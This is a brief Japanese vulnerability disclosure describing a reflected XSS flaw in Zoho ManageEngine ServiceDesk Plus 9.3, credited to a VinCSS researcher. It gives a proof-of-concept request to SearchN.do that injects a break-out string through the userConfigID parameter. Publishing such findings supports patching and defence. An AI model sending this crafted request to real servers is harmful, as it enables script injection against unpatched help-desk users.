
情報の説明: Zoho ManageEngine ServiceDesk Plus 9.3 に問題が発見されました。SearchN.do の userConfigID パラメータを介して XSS が発生します。
著者: Tarantula Team の Concobe - VinCSS (Vingroup のメンバー)
domain/SearchN.do?searchText=a&SELECTEDSITEID=1&SELECTEDSITENAME=&configID=0&SELECTSITE=qc_siteID&submitbutton=Go&userConfigID=1">&selectName=Site